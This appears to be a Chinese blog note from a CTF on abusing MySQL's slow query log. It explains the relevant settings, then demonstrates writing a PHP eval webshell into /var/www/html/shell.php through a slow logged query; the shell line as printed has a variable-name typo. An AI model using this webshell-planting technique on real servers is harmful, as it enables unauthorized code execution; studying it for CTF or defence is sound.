SQL慢查询
是从深育杯一道mysql注入知道的
使用示例 详细讲解
<!--more-->
使用条件:
可以使用堆叠注入或slow_query_log开启(默认是关闭的)
slow_query_log为慢查询记录开关
slow_query_log_file是查询语句的记录文件地址
以上参数参数可以通过set语句直接设置(secure_file_priv就不行)
查询语句执行时间大于参数long_query_time的值(可以直接通过set语句修改,默认为10s)
log_output 参数是指定日志的存储方式。log_output='FILE'表示将日志存入文件,默认值是'FILE'。log_output='TABLE'表示将日志存入数据库,这样日志信息就会被写入到mysql.slow_log表中。MySQL数据库支持同时两种日志存储方式,配置的时候以逗号隔开即可,如:log_output='FILE,TABLE'。
#使用set global slow_query_log=1开启了慢查询日志只对当前数据库生效,MySQL重启后则会失效。如果要永久生效,就必须修改配置文件my.cnf(其它系统变量也是如此)
默认设置查询:python<br />mysql> show variables like '%slow_query%';<br />+---------------------+--------------------------------------+<br />| Variable_name | Value |<br />+---------------------+--------------------------------------+<br />| slow_query_log | OFF |<br />| slow_query_log_file | /var/lib/mysql/34886294ca4d-slow.log |<br />+---------------------+--------------------------------------+<br />2 rows in set (0.00 sec)<br />mysql> show variables like 'log_queries_not_using_indexes';<br />+-------------------------------+-------+<br />| Variable_name | Value |<br />+-------------------------------+-------+<br />| log_queries_not_using_indexes | OFF |<br />+-------------------------------+-------+<br />1 row in set (0.00 sec)<br />mysql> show variables like 'long_query_time';<br />+-----------------+-----------+<br />| Variable_name | Value |<br />+-----------------+-----------+<br />| long_query_time | 10.000000 |<br />+-----------------+-----------+<br />1 row in set (0.00 sec)<br />mysql> show variables like 'log_output';<br />+---------------+-------+<br />| Variable_name | Value |<br />+---------------+-------+<br />| log_output | FILE |<br />+---------------+-------+<br />1 row in set (0.00 sec)<br /><br /><br /><br />
配置说明:python<br />slow_query_log :是否开启慢查询日志,1表示开启,0表示关闭。 <br />log-slow-queries :旧版(5.6以下版本)MySQL数据库慢查询日志存储路径。可以不设置该参数,系统则会默认给一个缺省的文件host_name-slow.log <br />slow-query-log-file:新版(5.6及以上版本)MySQL数据库慢查询日志存储路径。可以不设置该参数,系统则会默认给一个缺省的文件host_name-slow.log <br />long_query_time :慢查询阈值,当查询时间多于设定的阈值时,记录日志。 <br />log_queries_not_using_indexes:未使用索引的查询也被记录到慢查询日志中(可选项)。 <br />log_output:日志存储方式。log_output='FILE'表示将日志存入文件,默认值是'FILE'。log_output='TABLE'表示将日志存入数据库,这样日志信息就会被写入到mysql.slow_log表中。MySQL数据 <br />库支持同时两种日志存储方式,配置的时候以逗号隔开即可,如:log_output='FILE,TABLE'。日志记录到系统的专用日志表中,要比记录到文件耗费更多的系统资源,因此对于需要启用慢查询日志,又需 <br />要能够获得更高的系统性能,那么建议优先记录到文件<br />
使用示例:<br />mysql> set global slow_query_log=1;<br />Query OK, 0 rows affected (0.00 sec)<br /><br />mysql> set global slow_query_log_file='/var/www/html/shell.php';<br />Query OK, 0 rows affected (0.00 sec)<br /><br />mysql> show variables like '%slow_query_log%';<br />+---------------------+-------------------------+<br />| Variable_name | Value |<br />+---------------------+-------------------------+<br />| slow_query_log | ON |<br />| slow_query_log_file | /var/www/html/shell.php |<br />+---------------------+-------------------------+<br />2 rows in set (0.00 sec)<br /><br />mysql> select '<?php phpinfo();eval($REQUEST_[0]);?>' & sleep(11);<br />+-----------------------------------------------------+<br />| '<?php phpinfo();eval($REQUEST_[0]);?>' & sleep(11) |<br />+-----------------------------------------------------+<br />| 0 |<br />+-----------------------------------------------------+<br />1 row in set, 1 warning (11.00 sec)<br /><br />mysql> system cat shell.php;<br />mysqld, Version: 5.6.51 (MySQL Community Server (GPL)). started with:<br />Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock<br />Time Id Command Argument<br /># Time: 211116 1:46:24<br /># User@Host: root[root] @ localhost [] Id: 3<br /># Query_time: 11.000200 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0<br />use mysql;<br />SET timestamp=1637027184;<br />**select '<?php phpinfo();eval($REQUEST_[0]);?>' & sleep(11);**<br /><br />
注:使用set语句设置slow_query_log_file参数的时候需要设置为已经存在且具有对应权限的文件,否则会报错设置失败